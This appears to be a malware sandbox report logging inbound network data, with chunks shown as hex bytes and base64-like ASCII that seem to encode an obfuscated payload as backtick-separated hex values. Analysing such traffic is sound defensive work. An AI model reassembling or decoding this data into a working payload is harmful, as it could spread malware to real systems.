2021-12-02 20:47:22 UTC 153 IN Data Raw: 44 46 44 4c 47 41 31 52 53 78 67 52 6b 51 73 59 45 52 47 4c 47 42 46 52 53 78 67 52 6b 59 73 59 45 49 7a 4c 
47 42 47 52 69 78 67 4e 6a 63 73 59 45 5a 42 4c 47 42 42 52 69 78 67 4d 55 55 73 59 45 5a 47 4c 47 42 45 52 53 78 67 
51 7a 45 73 59 45 4d 79 4c 47 42 45 52 43 78 67 52 6b 55 73 59 44 5a 47 4c 47 42 43 52 53 78 67 52 6a 4d 73 59 45 52 
43 4c 47 41 31 51 53 78 67 52 44 6b 73 59 45 52 46 4c 47 42 47 52 69 78 67 51 54 6b 73 59 45 5a 42 4c 47 41 33 51 69 7
8 67 4f 55 51 73 59 44 4d 33 4c 47 41 31 52 69 78 67 52 54 45 73 59 45 4e 45 4c 47 41 35 4d 79 78 67 52 6b 59 73 59 45 
56 43 4c 47 41 7a 52 69 78 67 52 6b 45 73 59 44 51 33 4c 47 42 45 4d 79 78 67 52 45 59 73 59 45 55 31 4c 47 41 35 52 
69 78 67 52 6b 49 73 59 44 6c 43 4c 47 41 7a 52 53 78 67 52 6a 63 73 
Data Ascii: DFDLGA1RSxgRkQsYERGLGBFRSxgRkYsYEIzLGBGRixgNjcsYEZBLGBBRixgMUUsYEZGLGBERSxgQzE
sYEMyLGBERCxgRkUsYDZGLGBCRSxgRjMsYERCLGA1QSxgRDksYERFLGBGRixgQTksYEZBLGA3QixgOUQ
sYDM3LGA1RixgRTEsYENELGA5MyxgRkYsYEVCLGAzRixgRkEsYDQ3LGBEMyxgREYsYEU1LGA5RixgRkI
sYDlCLGAzRSxgRjcs

2021-12-02 20:47:22 UTC 157 IN Data Raw: 42 47 52 53 78 67 52 54 49 73 59 45 52 47 4c 47 42 46 4d 69 78 67 52 44 63 73 59 45 5a 46 4c 47 42 43 52 69 
78 67 4e 30 55 73 59 45 56 43 4c 47 42 45 52 69 78 67 4e 45 4d 73 59 44 59 32 4c 47 42 47 4e 43 78 67 4d 54 63 73 59 
44 6b 7a 4c 47 42 46 4e 69 78 67 52 55 55 73 59 45 4a 44 4c 47 42 47 4f 43 78 67 51 55 59 73 59 45 5a 44 4c 47 41 34 
52 69 78 67 52 6a 51 73 59 45 55 79 4c 47 42 47 52 69 78 67 4e 7a 51 73 59 44 63 35 4c 47 42 47 52 53 78 67 4e 7a 63 7
3 59 45 45 32 4c 47 42 43 52 69 78 67 51 30 51 73 59 44 56 47 4c 47 42 47 51 69 78 67 51 55 59 73 59 44 41 30 4c 47 42 
42 4d 53 78 67 52 44 4d 73 59 44 49 31 4c 47 41 34 4d 69 78 67 51 55 51 73 59 44 52 43 4c 47 42 45 4d 69 78 67 52 44 
67 73 59 44 6c 45 4c 47 41 7a 4e 79 78 67 52 6b 55 73 59 44 49 79 4c 
Data Ascii: BGRSxgRTIsYERGLGBFMixgRDcsYEZFLGBCRixgN0UsYEVCLGBERixgNEMsYDY2LGBGNCxgMTcsYDkz
LGBFNixgRUUsYEJDLGBGOCxgQUYsYEZDLGA4RixgRjQsYEUyLGBGRixgNzQsYDc5LGBGRSxgNzcsYEE2
LGBCRixgQ0QsYDVGLGBGQixgQUYsYDA0LGBBMSxgRDMsYDI1LGA4MixgQUQsYDRCLGBEMixgRDgsYDlE
LGAzNyxgRkUsYDIyL

2021-12-02 20:47:22 UTC 160 IN Data Raw: 47 4c 47 42 45 52 69 78 67 52 6b 59 73 59 44 49 32 4c 47 41 35 4e 43 78 67 4d 54 49 73 59 45 5a 42 4c 47 41 
32 52 69 78 67 4e 6a 6b 73 59 44 4e 44 4c 47 42 43 52 69 78 67 4d 6a 63 73 59 45 5a 45 4c 47 42 47 52 43 78 67 4d 6a 
55 73 59 45 5a 45 4c 47 41 35 52 43 78 67 52 44 4d 73 59 44 45 34 4c 47 42 47 52 53 78 67 4e 7a 51 73 59 44 67 79 4c 
47 42 47 4e 53 78 67 4d 55 49 73 59 44 55 77 4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 41 79 4c 47 42 43 4e 53 78 67 5
2 6b 51 73 59 44 6c 47 4c 47 42 42 4f 53 78 67 51 55 59 73 59 45 52 47 4c 47 41 35 4f 53 78 67 52 6a 41 73 59 45 5a 43 
4c 47 41 32 4f 53 78 67 51 7a 49 73 59 45 55 7a 4c 47 41 30 52 69 78 67 4d 6a 63 73 59 45 51 34 4c 47 41 33 52 69 78 
67 4d 6a 67 73 59 45 59 31 4c 47 42 47 4f 53 78 67 4f 54 51 73 59 45 
Data Ascii: GLGBERixgRkYsYDI2LGA5NCxgMTIsYEZBLGA2RixgNjksYDNDLGBCRixgMjcsYEZELGBGRCxgMjUsY
EZELGA5RCxgRDMsYDE4LGBGRSxgNzQsYDgyLGBGNSxgMUIsYDUwLGBGRixgRkYsYDAyLGBCNSxgRkQsY
DlGLGBBOSxgQUYsYERGLGA5OSxgRjAsYEZCLGA2OSxgQzIsYEUzLGA0RixgMjcsYEQ4LGA3RixgMjgsY
EY1LGBGOSxgOTQsYE
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2021-12-02 20:47:22 UTC 164 IN Data Raw: 4d 53 78 67 52 6a 45 73 59 44 67 33 4c 47 42 47 52 69 78 67 52 44 51 73 59 44 5a 47 4c 47 42 47 52 53 78 67 
4e 44 63 73 59 44 59 30 4c 47 41 77 4e 79 78 67 4e 30 59 73 59 44 45 79 4c 47 41 33 4d 69 78 67 4e 44 63 73 59 45 4d 
33 4c 47 42 47 52 69 78 67 52 44 59 73 59 44 64 47 4c 47 42 47 4f 43 78 67 4f 54 4d 73 59 45 55 35 4c 47 42 47 52 69 78 
67 4e 7a 67 73 59 45 59 33 4c 47 42 47 52 69 78 67 52 6b 45 73 59 44 55 33 4c 47 41 33 51 79 78 67 51 54 51 73 59 45 
5a 47 4c 47 42 43 4e 43 78 67 4e 55 59 73 59 44 6c 42 4c 47 42 44 4f 43 78 67 4e 6b 4d 73 59 45 5a 46 4c 47 42 47 4e 6
9 78 67 51 6b 59 73 59 45 59 33 4c 47 41 32 52 69 78 67 52 6b 59 73 59 44 64 43 4c 47 41 32 52 69 78 67 52 6b 51 73 
59 45 52 42 4c 47 41 31 4d 43 78 67 4e 44 45 73 59 45 4a 47 4c 47 41 
Data Ascii: MSxgRjEsYDg3LGBGRixgRDQsYDZGLGBGRSxgNDcsYDY0LGAwNyxgN0YsYDEyLGA3MixgNDcsYEM3LG
BGRixgRDYsYDdGLGBGOCxgOTMsYEU5LGBGRixgNzgsYEY3LGBGRixgRkEsYDU3LGA3QyxgQTQsYEZGLG
BCNCxgNUYsYDlBLGBDOCxgNkMsYEZFLGBGNixgQkYsYEY3LGA2RixgRkYsYDdCLGA2RixgRkQsYERBLG
A1MCxgNDEsYEJGLGA

2021-12-02 20:47:22 UTC 168 IN Data Raw: 6a 49 73 59 44 64 47 4c 47 42 46 52 69 78 67 52 45 59 73 59 45 59 79 4c 47 41 77 52 69 78 67 4f 44 45 73 59 
44 55 30 4c 47 42 47 52 53 78 67 4d 6a 45 73 59 44 4e 47 4c 47 41 31 4e 53 78 67 51 6b 59 73 59 45 56 45 4c 47 41 79 
4d 43 78 67 52 6a 41 73 59 44 45 77 4c 47 41 77 4f 43 78 67 52 6b 4d 73 59 45 55 32 4c 47 41 34 4e 43 78 67 51 7a 41 
73 59 44 56 47 4c 47 42 47 4d 43 78 67 4f 45 49 73 59 45 4a 47 4c 47 42 47 4f 43 78 67 4e 45 51 73 59 44 67 77 4c 47 42 
44 4d 43 78 67 4f 55 59 73 59 45 59 77 4c 47 42 46 4d 79 78 67 51 7a 6b 73 59 44 64 47 4c 47 42 45 4f 53 78 67 4e 44 45 
73 59 45 55 77 4c 47 41 77 52 69 78 67 4f 45 51 73 59 44 49 77 4c 47 42 47 4d 43 78 67 4f 45 59 73 59 45 4d 33 4c 47 41 
78 4d 53 78 67 52 6a 67 73 59 44 5a 47 4c 47 41 35 4d 43 78 67 
Data Ascii: jIsYDdGLGBFRixgREYsYEYyLGAwRixgODEsYDU0LGBGRSxgMjEsYDNGLGA1NSxgQkYsYEVELGAyMCx
gRjAsYDEwLGAwOCxgRkMsYEU2LGA4NCxgQzAsYDVGLGBGMCxgOEIsYEJGLGBGOCxgNEQsYDgwLGBDMCx
gOUYsYEYwLGBFMyxgQzksYDdGLGBEOSxgNDEsYEUwLGAwRixgOEQsYDIwLGBGMCxgOEYsYEM3LGAxMSx
gRjgsYDZGLGA5MCxg

2021-12-02 20:47:22 UTC 172 IN Data Raw: 46 42 4c 47 42 42 4e 53 78 67 52 44 55 73 59 45 56 46 4c 47 42 47 52 69 78 67 4e 6a 41 73 59 44 67 30 4c 47 
42 46 4f 53 78 67 4e 7a 63 73 59 44 63 35 4c 47 41 79 51 79 78 67 52 6b 51 73 59 45 5a 46 4c 47 41 7a 51 53 78 67 52 
54 6b 73 59 45 49 7a 4c 47 41 7a 52 69 78 67 52 54 4d 73 59 44 4d 33 4c 47 42 47 4d 79 78 67 4d 54 59 73 59 45 4a 43 
4c 47 41 77 52 53 78 67 4e 30 55 73 59 44 6b 7a 4c 47 42 47 52 69 78 67 4d 44 45 73 59 44 52 44 4c 47 41 33 4e 43 78 
67 52 6a 51 73 59 44 4a 43 4c 47 41 34 52 53 78 67 4d 55 45 73 59 45 56 47 4c 47 42 44 4d 79 78 67 4e 55 59 73 59 44 
51 31 4c 47 41 32 4f 53 78 67 4d 6a 4d 73 59 44 4d 79 4c 47 41 35 4e 43 78 67 51 6b 59 73 59 44 41 78 4c 47 41 78 4d 
53 78 67 52 55 51 73 59 45 49 33 4c 47 41 30 4f 53 78 67 4d 55 59 73 59 
Data Ascii: FBLGBBNSxgRDUsYEVFLGBGRixgNjAsYDg0LGBFOSxgNzcsYDc5LGAyQyxgRkQsYEZFLGAzQSxgRTks
YEIzLGAzRixgRTMsYDM3LGBGMyxgMTYsYEJCLGAwRSxgN0UsYDkzLGBGRixgMDEsYDRDLGA3NCxgRjQs
YDJCLGA4RSxgMUEsYEVGLGBDMyxgNUYsYDQ1LGA2OSxgMjMsYDMyLGA5NCxgQkYsYDAxLGAxMSxgRUQs
YEI3LGA0OSxgMUYsY

2021-12-02 20:47:22 UTC 176 IN Data Raw: 43 4e 79 78 67 52 6b 45 73 59 44 4a 45 4c 47 41 33 52 53 78 67 51 55 51 73 59 45 52 47 4c 47 42 46 4d 69 78 
67 52 44 63 73 59 45 46 46 4c 47 41 33 52 53 78 67 4f 44 45 73 59 45 4e 46 4c 47 42 47 4f 53 78 67 4e 6b 59 73 59 44 52 
46 4c 47 41 79 4d 79 78 67 52 6b 59 73 59 44 6b 35 4c 47 41 35 52 69 78 67 51 55 45 73 59 45 5a 47 4c 47 42 47 4f 53 
78 67 51 30 55 73 59 45 4d 34 4c 47 42 47 52 69 78 67 52 54 55 73 59 45 5a 47 4c 47 41 77 51 53 78 67 4d 45 4d 73 59 
44 4d 31 4c 47 41 33 52 43 78 67 52 6a 59 73 59 45 5a 45 4c 47 41 79 52 69 78 67 4d 30 4d 73 59 44 67 32 4c 47 42 47 5
1 53 78 67 52 6b 49 73 59 45 55 34 4c 47 42 44 4d 79 78 67 52 45 59 73 59 45 5a 44 4c 47 42 43 4e 79 78 67 4d 6a 63 73 
59 45 5a 44 4c 47 42 47 52 69 78 67 52 6a 55 73 59 44 6c 47 4c 47 
Data Ascii: CNyxgRkEsYDJELGA3RSxgQUQsYERGLGBFMixgRDcsYEFFLGA3RSxgODEsYENFLGBGOSx
gNkYsYDRFLGAyMyxgRkYsYDk5LGA5RixgQUEsYEZGLGBGOSxgQ0UsYEM4LGBGRixgRTUsYEZGLGAwQSx
gMEMsYDM1LGA3RCxgRjYsYEZELGAyRixgM0MsYDg2LGBGQSxgRkIsYEU4LGBDMyxgREYsYEZDLGBCNyx
gMjcsYEZDLGBGRixgRjUsYDlGLG

2021-12-02 20:47:22 UTC 180 IN Data Raw: 4e 45 49 73 59 44 64 47 4c 47 41 7a 4d 79 78 67 52 44 67 73 59 44 68 43 4c 47 41 31 52 69 78 67 52 55 59 73 
59 45 49 33 4c 47 42 45 4f 53 78 67 52 6b 45 73 59 45 46 45 4c 47 42 42 4f 43 78 67 51 7a 63 73 59 44 46 47 4c 47 42 47 
51 69 78 67 51 30 51 73 59 44 64 47 4c 47 41 7a 52 43 78 67 51 30 45 73 59 44 5a 42 4c 47 41 35 51 79 78 67 4f 44 55 
73 59 44 4a 47 4c 47 42 47 52 69 78 67 4f 55 51 73 59 45 59 30 4c 47 42 47 4d 69 78 67 4e 6b 59 73 59 44 51 77 4c 47 
42 42 52 53 78 67 51 7a 6b 73 59 45 59 33 4c 47 41 31 52 69 78 67 52 6b 59 73 59 45 45 31 4c 47 41 33 52 69 78 67 4d 4
4 51 73 59 45 51 30 4c 47 42 45 51 53 78 67 4d 30 59 73 59 45 59 30 4c 47 41 7a 52 69 78 67 52 6b 51 73 59 45 49 32 4c 
47 41 78 52 53 78 67 4d 44 4d 73 59 45 5a 46 4c 47 42 46 52 53 78 
Data Ascii: NEIsYDdGLGAzMyxgRDgsYDhCLGA1RixgRUYsYEI3LGBEOSxgRkEsYEFELGBBOCxgQzcsYDFGLGBGQi
xgQ0QsYDdGLGAzRCxgQ0EsYDZBLGA5QyxgODUsYDJGLGBGRixgOUQsYEY0LGBGMixgNkYsYDQwLGBBRS
xgQzksYEY3LGA1RixgRkYsYEE1LGA3RixgMDQsYEQ0LGBEQSxgM0YsYEY0LGAzRixgRkQsYEI2LGAxRS
xgMDMsYEZFLGBFRSx

2021-12-02 20:47:22 UTC 185 IN Data Raw: 45 46 47 4c 47 41 35 51 69 78 67 52 6b 55 73 59 45 4e 47 4c 47 41 33 52 69 78 67 52 6a 55 73 59 44 4a 47 4c 
47 42 47 52 69 78 67 52 54 55 73 59 44 6c 46 4c 47 42 47 4e 79 78 67 52 6a 41 73 59 44 6c 43 4c 47 41 77 4d 79 78 67 
52 54 59 73 59 45 5a 47 4c 47 42 47 4e 43 78 67 51 54 63 73 59 45 5a 44 4c 47 41 31 4f 53 78 67 4e 30 59 73 59 44 51 
79 4c 47 42 43 51 53 78 67 52 6a 67 73 59 45 4e 47 4c 47 42 47 52 53 78 67 52 6a 63 73 59 44 56 47 4c 47 42 46 4f 53 7
8 67 51 7a 4d 73 59 45 5a 44 4c 47 41 30 52 43 78 67 4d 44 45 73 59 45 59 7a 4c 47 41 7a 4e 79 78 67 4d 6a 55 73 59 
44 4e 45 4c 47 42 47 4e 43 78 67 4e 30 49 73 59 44 67 31 4c 47 41 7a 4d 43 78 67 52 6b 59 73 59 44 51 7a 4c 47 41 34 
4f 43 78 67 52 54 4d 73 59 45 4a 47 4c 47 42 47 52 43 78 67 52 6a 67 73 
Data Ascii: EFGLGA5QixgRkUsYENGLGA3RixgRjUsYDJGLGBGRixgRTUsYDlFLGBGNyxgRjAsYDlCLGAwMyxgRTY
sYEZGLGBGNCxgQTcsYEZDLGA1OSxgN0YsYDQyLGBCQSxgRjgsYENGLGBGRSxgRjcsYDVGLGBFOSxgQzM
sYEZDLGA0RCxgMDEsYEYzLGAzNyxgMjUsYDNELGBGNCxgN0IsYDg1LGAzMCxgRkYsYDQzLGA4OCxgRTM
sYEJGLGBGRCxgRjgs

2021-12-02 20:47:22 UTC 189 IN Data Raw: 41 33 4f 53 78 67 52 6b 45 73 59 45 56 47 4c 47 41 7a 52 69 78 67 52 6b 59 73 59 44 59 31 4c 47 41 33 52 69 
78 67 52 6b 55 73 59 45 59 35 4c 47 42 46 52 69 78 67 52 6b 51 73 59 44 64 43 4c 47 41 32 4e 79 78 67 52 54 63 73 59 
45 55 35 4c 47 42 47 4e 79 78 67 52 6b 55 73 59 45 4d 78 4c 47 42 43 52 69 78 67 52 55 4d 73 59 44 64 47 4c 47 41 79 
4d 53 78 67 4d 44 4d 73 59 45 59 34 4c 47 42 47 4d 69 78 67 51 6b 59 73 59 45 5a 47 4c 47 41 77 4d 79 78 67 51 7a 59 7
3 59 45 55 30 4c 47 41 31 52 53 78 67 52 6b 55 73 59 45 4a 42 4c 47 42 43 52 69 78 67 4e 54 4d 73 59 44 67 30 4c 47 41 
79 4e 79 78 67 4e 30 55 73 59 44 4e 45 4c 47 41 35 51 53 78 67 52 6b 49 73 59 45 4a 47 4c 47 41 30 4d 69 78 67 4e 7a 
6b 73 59 44 41 77 4c 47 42 46 4d 53 78 67 51 7a 41 73 59 44 52 47 4c 
Data Ascii: A3OSxgRkEsYEVGLGAzRixgRkYsYDY1LGA3RixgRkUsYEY5LGBFRixgRkQsYDdCLGA2NyxgRTcsYEU5
LGBGNyxgRkUsYEMxLGBCRixgRUMsYDdGLGAyMSxgMDMsYEY4LGBGMixgQkYsYEZGLGAwMyxgQzYsYEU0
LGA1RSxgRkUsYEJBLGBCRixgNTMsYDg0LGAyNyxgN0UsYDNELGA5QSxgRkIsYEJGLGA0MixgNzksYDAw
LGBFMSxgQzAsYDRGL
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2021-12-02 20:47:22 UTC 192 IN Data Raw: 32 4c 47 41 31 52 69 78 67 4e 45 4d 73 59 44 42 44 4c 47 42 47 4e 79 78 67 4e 55 59 73 59 45 51 77 4c 47 42 
47 52 69 78 67 52 6b 59 73 59 44 51 34 4c 47 41 31 4d 69 78 67 4d 30 55 73 59 44 59 77 4c 47 42 43 52 53 78 67 4f 54 
51 73 59 44 59 7a 4c 47 42 46 51 79 78 67 52 45 59 73 59 45 59 30 4c 47 42 45 4e 79 78 67 52 44 67 73 59 45 5a 46 4c 
47 41 34 52 43 78 67 51 7a 6b 73 59 44 63 33 4c 47 41 79 4e 79 78 67 52 55 55 73 59 45 5a 47 4c 47 41 77 4e 53 78 67 4
e 30 59 73 59 45 5a 44 4c 47 42 42 52 69 78 67 4f 44 4d 73 59 44 52 47 4c 47 41 33 52 53 78 67 51 6b 51 73 59 45 59 30 
4c 47 42 42 51 69 78 67 4d 30 59 73 59 45 59 31 4c 47 42 44 52 69 78 67 4e 30 51 73 59 45 59 34 4c 47 41 31 51 69 78 
67 52 6b 55 73 59 44 41 32 4c 47 42 43 52 69 78 67 52 6a 6b 73 59 44 
Data Ascii: 2LGA1RixgNEMsYDBDLGBGNyxgNUYsYEQwLGBGRixgRkYsYDQ4LGA1MixgM0UsYDYwLGB
CRSxgOTQsYDYzLGBFQyxgREYsYEY0LGBENyxgRDgsYEZFLGA4RCxgQzksYDc3LGAyNyxgRUUsYEZGLGA
wNSxgN0YsYEZDLGBBRixgODMsYDRGLGA3RSxgQkQsYEY0LGBBQixgM0YsYEY1LGBDRixgN0QsYEY4LGA
1QixgRkUsYDA2LGBCRixgRjksYD

2021-12-02 20:47:22 UTC 192 IN Data Raw: 4c 47 42 43 52 53 78 67 51 54 4d 73 59 44 64 47 4c 47 42 47 4e 43 78 67 4d 55 59 73 59 45 4e 46 4c 47 41 33 
52 69 78 67 4f 55 59 73 59 44 4e 44 4c 47 41 30 51 69 78 67 4f 55 59 73 59 45 52 47 4c 47 42 47 52 69 78 67 4d 6a 55 73 
59 45 5a 47 4c 47 41 30 52 43 78 67 4e 55 45 73 59 45 5a 46 4c 47 42 46 4e 69 78 67 51 6b 59 73 59 45 55 79 4c 47 41 
79 52 69 78 67 4e 45 45 73 59 45 5a 47 4c 47 41 35 4f 53 78 67 51 30 59 73 59 45 56 46 4c 47 42 47 52 53 78 67 4e 7a 
55 73 59 44 51 30 4c 47 42 47 52 69 78 67 4d 54 63 73 59 45 5a 47 4c 47 42 47 51 69 78 67 4d 30 59 73 59 44 63 78 4c 4
7 41 35 51 79 78 67 51 6b 55 73 59 45 5a 43 4c 47 42 45 4d 79 78 67 52 6b 59 73 59 45 52 44 4c 47 41 33 52 69 78 67 52 
6b 51 73 59 45 59 33 4c 47 41 79 4e 69 78 67 52 54 4d 73 59 45 5a 
Data Ascii: LGBCRSxgQTMsYDdGLGBGNCxgMUYsYENFLGA3RixgOUYsYDNDLGA0QixgOUYsYERGLGBG
RixgMjUsYEZGLGA0RCxgNUEsYEZFLGBFNixgQkYsYEUyLGAyRixgNEEsYEZGLGA5OSxgQ0YsYEVFLGBG
RSxgNzUsYDQ0LGBGRixgMTcsYEZGLGBGQixgM0YsYDcxLGA5QyxgQkUsYEZCLGBEMyxgRkYsYERDLGA3
RixgRkQsYEY3LGAyNixgRTMsYEZ

2021-12-02 20:47:22 UTC 196 IN Data Raw: 79 78 67 51 7a 55 73 59 45 51 32 4c 47 42 43 52 69 78 67 4d 7a 63 73 59 44 4a 45 4c 47 41 77 4d 53 78 67 52 
6b 59 73 59 45 4a 42 4c 47 42 43 52 69 78 67 4e 30 51 73 59 44 4e 45 4c 47 42 45 4e 53 78 67 52 6a 45 73 59 45 5a 45 
4c 47 42 45 4e 69 78 67 4d 30 59 73 59 44 55 31 4c 47 41 31 52 69 78 67 4e 7a 63 73 59 45 52 46 4c 47 41 7a 51 79 78 
67 51 7a 49 73 59 44 6c 43 4c 47 41 33 52 69 78 67 52 55 45 73 59 44 46 47 4c 47 41 35 52 69 78 67 52 6b 55 73 59 45 5
6 47 4c 47 42 46 4f 53 78 67 52 45 59 73 59 45 59 30 4c 47 42 47 4e 69 78 67 52 55 59 73 59 45 59 34 4c 47 41 34 52 43 
78 67 52 6b 51 73 59 44 4d 33 4c 47 41 33 52 69 78 67 51 7a 63 73 59 45 52 47 4c 47 42 47 51 79 78 67 52 44 63 73 59 
45 59 35 4c 47 41 32 52 43 78 67 52 55 45 73 59 45 52 47 4c 47 41 30 
Data Ascii: yxgQzUsYEQ2LGBCRixgMzcsYDJELGAwMSxgRkYsYEJBLGBCRixgN0QsYDNELGBENSxgRjEsYEZELGB
ENixgM0YsYDU1LGA1RixgNzcsYERFLGAzQyxgQzIsYDlCLGA3RixgRUEsYDFGLGA5RixgRkUsYEVGLGB
FOSxgREYsYEY0LGBGNixgRUYsYEY4LGA4RCxgRkQsYDM3LGA3RixgQzcsYERGLGBGQyxgRDcsYEY5LGA
2RCxgRUEsYERGLGA0

2021-12-02 20:47:22 UTC 200 IN Data Raw: 49 73 59 45 4a 47 4c 47 41 79 51 69 78 67 52 6a 41 73 59 45 52 46 4c 47 42 42 52 69 78 67 4d 54 4d 73 59 45 
55 7a 4c 47 41 7a 52 43 78 67 4e 7a 67 73 59 44 46 47 4c 47 41 33 4e 79 78 67 4d 6a 6b 73 59 44 55 31 4c 47 42 45 52 
53 78 67 52 54 6b 73 59 45 55 34 4c 47 41 78 52 69 78 67 52 6b 51 73 59 44 45 31 4c 47 42 45 4e 43 78 67 52 44 45 73 
59 45 51 7a 4c 47 41 30 52 69 78 67 52 6b 59 73 59 45 4e 47 4c 47 42 47 52 69 78 67 4d 7a 67 73 59 45 5a 45 4c 47 42 4
3 4e 79 78 67 4e 30 59 73 59 45 5a 42 4c 47 42 45 52 69 78 67 4d 45 55 73 59 45 51 32 4c 47 41 79 4e 69 78 67 4d 30 55 
73 59 44 41 31 4c 47 41 7a 4d 53 78 67 4d 30 55 73 59 45 5a 45 4c 47 42 42 4f 53 78 67 52 6b 45 73 59 44 6c 47 4c 47 
42 46 52 53 78 67 51 6b 4d 73 59 45 59 78 4c 47 41 79 4e 79 78 67 52 
Data Ascii: IsYEJGLGAyQixgRjAsYERFLGBBRixgMTMsYEUzLGAzRCxgNzgsYDFGLGA3NyxgMjksYDU1LGBERSxg
RTksYEU4LGAxRixgRkQsYDE1LGBENCxgRDEsYEQzLGA0RixgRkYsYENGLGBGRixgMzgsYEZELGBCNyxg
N0YsYEZBLGBERixgMEUsYEQ2LGAyNixgM0UsYDA1LGAzMSxgM0UsYEZELGBBOSxgRkEsYDlGLGBFRSxg
QkMsYEYxLGAyNyxgR

2021-12-02 20:47:22 UTC 204 IN Data Raw: 78 4c 47 41 77 52 69 78 67 4d 44 6b 73 59 45 4d 32 4c 47 41 33 4d 79 78 67 52 6b 45 73 59 45 56 44 4c 47 41 
79 52 69 78 67 51 54 45 73 59 44 63 32 4c 47 41 77 4e 79 78 67 4f 55 59 73 59 45 51 79 4c 47 41 78 52 69 78 67 52 54 
6b 73 59 45 56 47 4c 47 42 47 4d 69 78 67 52 54 63 73 59 45 5a 47 4c 47 41 34 4e 53 78 67 4e 30 59 73 59 44 55 32 4c 
47 42 47 51 53 78 67 52 55 51 73 59 45 52 47 4c 47 42 43 4e 53 78 67 4e 54 6b 73 59 44 67 32 4c 47 41 33 4e 69 78 67 4
f 45 45 73 59 45 52 44 4c 47 42 46 4d 53 78 67 4e 30 59 73 59 45 59 35 4c 47 41 79 4e 79 78 67 4d 7a 41 73 59 45 45 7a 
4c 47 41 77 4f 53 78 67 52 55 4d 73 59 45 51 30 4c 47 42 43 52 69 78 67 52 45 55 73 59 44 6b 35 4c 47 42 45 4d 53 78 
67 52 54 63 73 59 44 41 34 4c 47 41 33 51 79 78 67 4e 30 55 73 59 45 
Data Ascii: xLGAwRixgMDksYEM2LGA3MyxgRkEsYEVDLGAyRixgQTEsYDc2LGAwNyxgOUYsYEQyLGAxRixgRTksY
EVGLGBGMixgRTcsYEZGLGA4NSxgN0YsYDU2LGBGQSxgRUQsYERGLGBCNSxgNTksYDg2LGA3NixgOEEsY
ERDLGBFMSxgN0YsYEY5LGAyNyxgMzAsYEEzLGAwOSxgRUMsYEQ0LGBCRixgREUsYDk5LGBEMSxgRTcsY
DA4LGA3QyxgN0UsYE

2021-12-02 20:47:22 UTC 209 IN Data Raw: 52 53 78 67 4f 55 51 73 59 44 4d 33 4c 47 41 33 52 69 78 67 4d 54 4d 73 59 45 4a 44 4c 47 42 47 4f 53 78 67 
51 6a 63 73 59 45 5a 46 4c 47 42 47 52 53 78 67 4f 55 59 73 59 45 5a 46 4c 47 41 33 4e 79 78 67 52 54 6b 73 59 44 46 
47 4c 47 42 47 51 79 78 67 52 6b 4d 73 59 44 46 47 4c 47 42 47 4d 43 78 67 4e 6a 4d 73 59 44 67 33 4c 47 42 45 52 69 
78 67 52 6a 49 73 59 44 49 35 4c 47 42 45 4d 69 78 67 4e 44 59 73 59 44 51 32 4c 47 41 30 51 53 78 67 4f 55 59 73 59 4
5 5a 46 4c 47 41 31 4e 43 78 67 52 6b 51 73 59 45 52 47 4c 47 41 33 4e 69 78 67 52 45 55 73 59 45 5a 44 4c 47 42 45 4e 
79 78 67 4d 54 41 73 59 44 45 77 4c 47 42 45 4e 53 78 67 51 6b 59 73 59 45 55 34 4c 47 41 30 52 69 78 67 52 6b 49 73 
59 44 4e 45 4c 47 42 45 4d 69 78 67 4e 55 59 73 59 44 63 31 4c 47 42 
Data Ascii: RSxgOUQsYDM3LGA3RixgMTMsYEJDLGBGOSxgQjcsYEZFLGBGRSxgOUYsYEZFLGA3Nyxg
RTksYDFGLGBGQyxgRkMsYDFGLGBGMCxgNjMsYDg3LGBERixgRjIsYDI5LGBEMixgNDYsYDQ2LGA0QSxg
OUYsYEZFLGA1NCxgRkQsYERGLGA3NixgREUsYEZDLGBENyxgMTAsYDEwLGBENSxgQkYsYEU4LGA0Rixg
RkIsYDNELGBEMixgNUYsYDc1LGB

2021-12-02 20:47:22 UTC 224 IN Data Raw: 4c 47 41 33 52 53 78 67 52 6a 63 73 59 45 52 47 4c 47 42 47 4d 43 78 67 4e 7a 63 73 59 44 67 34 4c 47 41 32 
4d 43 78 67 52 6a 49 73 59 45 56 43 4c 47 41 78 4d 43 78 67 4f 54 67 73 59 45 4a 47 4c 47 41 34 4d 53 78 67 4d 7a 41 
73 59 45 59 35 4c 47 41 31 4d 79 78 67 52 54 6b 73 59 45 55 33 4c 47 41 30 52 69 78 67 4d 6b 49 73 59 45 49 7a 4c 47 
41 78 52 53 78 67 52 6b 4d 73 59 44 41 35 4c 47 42 47 4e 43 78 67 4e 45 59 73 59 45 5a 42 4c 47 41 34 4e 79 78 67 52 6
b 4d 73 59 45 55 77 4c 47 41 77 52 69 78 67 52 6b 45 73 59 44 42 47 4c 47 42 45 4d 79 78 67 4e 55 59 73 59 45 56 47 4c 
47 41 34 52 69 78 67 52 6b 49 73 59 44 64 45 4c 47 42 47 52 43 78 67 4e 7a 41 73 59 45 56 42 4c 47 41 7a 4e 79 78 67 
52 6b 55 73 59 45 45 31 4c 47 42 47 52 69 78 67 4d 44 63 73 59 45 55 
Data Ascii: LGA3RSxgRjcsYERGLGBGMCxgNzcsYDg4LGA2MCxgRjIsYEVCLGAxMCxgOTgsYEJGLGA4MSxgMzAsYE
Y5LGA1MyxgRTksYEU3LGA0RixgMkIsYEIzLGAxRSxgRkMsYDA5LGBGNCxgNEYsYEZBLGA4NyxgRkMsYE
UwLGAwRixgRkEsYDBGLGBEMyxgNUYsYEVGLGA4RixgRkIsYDdELGBGRCxgNzAsYEVBLGAzNyxgRkUsYE
E1LGBGRixgMDcsYEU
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2021-12-02 20:47:22 UTC 225 IN Data Raw: 52 69 78 67 51 30 49 73 59 44 56 47 4c 47 41 79 4e 79 78 67 52 6b 51 73 59 45 4e 45 4c 47 42 42 52 53 78 67 
4e 6a 63 73 59 45 4a 47 4c 47 42 42 4e 79 78 67 52 6a 41 73 59 45 4d 32 4c 47 42 42 52 69 78 67 52 6b 49 73 59 45 56 
43 4c 47 42 47 52 69 78 67 52 54 59 73 59 45 4a 47 4c 47 42 44 52 53 78 67 4e 45 59 73 59 45 5a 45 4c 47 42 46 4e 69 
78 67 51 6b 59 73 59 44 4a 46 4c 47 41 79 52 43 78 67 51 30 45 73 59 44 67 79 4c 47 42 44 51 69 78 67 51 6b 59 73 59 
44 67 31 4c 47 41 7a 4f 53 78 67 52 6a 67 73 59 44 59 33 4c 47 42 44 4d 79 78 67 4d 7a 6b 73 59 45 59 34 4c 47 41 7a 
4d 79 78 67 4f 45 55 73 59 44 4e 46 4c 47 42 47 52 53 78 67 4e 6a 4d 73 59 44 64 46 4c 47 42 44 4d 79 78 67 4e 55 59 
